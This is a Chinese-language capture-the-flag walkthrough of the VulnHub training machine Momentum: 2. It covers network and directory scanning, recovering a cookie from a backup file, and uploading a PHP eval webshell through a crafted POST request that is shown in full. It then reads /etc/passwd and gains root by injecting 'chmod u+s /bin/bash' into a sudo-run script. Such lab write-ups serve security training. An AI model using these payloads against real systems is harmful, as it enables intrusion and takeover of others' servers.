目录
靶机安装
IP发现
端口扫描
目录扫描
备份文件扫描
文件上传
查看当前用户
查看所有用户
权限提升
总结
靶机下载地址 : Momentum: 2 ~ VulnHub
靶机安装
打开VMware
导入虚拟机
点击重试,就可以正常导入
右击——设置——修改靶机的网络连接模式是NAT模式——确定——开启虚拟机
按一下e
将ro替换为rw signle init=/bin/bash
替换完之后按 ctrl + x 键进入系统
输入ip a查看网卡名
输入 vi /etc/network/interfaces,按向下箭头键往下翻页,修改网卡
移动光标到你要删除的地方,按x可删除一个字符
修改完毕后按下 :wq! 回车
输入 /etc/init.d/networking restart 重启网卡
IP发现
目的是扫描同网段的机器的IP地址(如果没有得到目标IP就重启靶机,不需要配置之前的操作)
arp-scan -l
得到了目标的IP地址:192.168.202.148
端口扫描
扫描目标主机开放了什么端口
nmap -p- 192.168.202.148
扫描主机22,80端口都有什么详细的信息
nmap -p22,80 -sT -sC -sV 192.168.202.148
22 端口 --- ssh远程登录的服务(知道用户名的情况下,直接暴力破解)
80 端口 --- http的默认端口
访问192.168.202.148
网页源码提供的信息有限
目录扫描
-u #针对目标站点进行目录扫描
-x 403 #过滤掉状态码是403
dirsearch -u "http://192.168.202.148/" -x 403
得到了如下目录信息
http://192.168.202.148/js/
http://192.168.202.148/ajax.php
http://192.168.202.148/css/
http://192.168.202.148/dashboard.html
http://192.168.202.148/img/
http://192.168.202.148/manual/
main.js的内容如下
大致浏览一下,这大概是一个上传文件的函数,向 ajax.php 发送数据包,响应结果为1则上传成功
访问http://192.168.202.148/dashboard.html
发现一个文件上传的页面,有关于owls
burp抓包,发现只有上传的后缀是 .txt 可以上传成功(在owls目录下),而我们的思路是上传一个.php 的webshell
如果知道 ajax.php的代码,就可以知道为什么.txt可以,.php不可以
尝试扫一下备份文件
备份文件扫描
dirsearch -u "http://192.168.202.148/" -x 403 -f -e .php.bak,.zip,.tar,.7z
发现一个 ajax.php.bak 的文件,下载下来看一下内容
得到了两个信息:
1.有一个Cookie:admin = &G6u@B6uDXMq&Ms大写字母
2.要给目标 POST 一个 secure 值是 cal1d
文件上传
构造数据包
POST /ajax.php HTTP/1.1
Host: 192.168.202.148
Content-Length: 318
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/109.0.5414.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCa0DvSX5z70MIIrp
Accept: */*
Origin: http://192.168.202.148
Referer: http://192.168.44.153/dashboard.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin=&G6u@B6uDXMq&MsR
Connection: close
------WebKitFormBoundaryCa0DvSX5z70MIIrp
Content-Disposition: form-data; name="secure"
val1d
------WebKitFormBoundaryCa0DvSX5z70MIIrp
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_POST[cmd]);?>
------WebKitFormBoundaryCa0DvSX5z70MIIrp--
发现上传成功
查看网站发现文件上传成功
使用webshell管理工具(蚁剑)进行连接
查看当前用户
查看所有用户
cat /etc/passwd
发现一个叫做 athena 的用户
拿第一个flag
权限提升
cat password-reminder.txt
尝试登录到 athena 用户
ssh athena@192.168.202.148
myvulnerableapp* #([Asterisk]翻译出来是*)
查看用户之前是否执行过什么操作
无发现
查看用户是否具有sudo的权限 sudo -l
发现 athena 可以不使用密码,以root权限执行 /usr/bin/python3 /home/team-tasks/cookie-gen.py
查看一下文件里面是什么
cat /home/team-tasks/cookie-gen.py
发现这个脚本在最后一行执行 cmd, cmd内容是 echo 我们输入的内容 >> log.txt
构造 echo ;chmod u+s /bin/bash
尝试给 /bin/bash 增加 suid 权限
ls -l /bin/bash
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
;chmod u+s /bin/bash
发现 /bin/bash 具有了 suid 的权限,所以直接 /bin/bash -p 获取root的会话,拿flag即可
第二个flag
总结
IP发现 arp-scan -l
端口扫描 nmap
目录扫描 dirsearch -u "url" -x 403
备份文件扫描 dirsearch -f -e
大量代码审计 php 文件上传
webshell上传
提权操作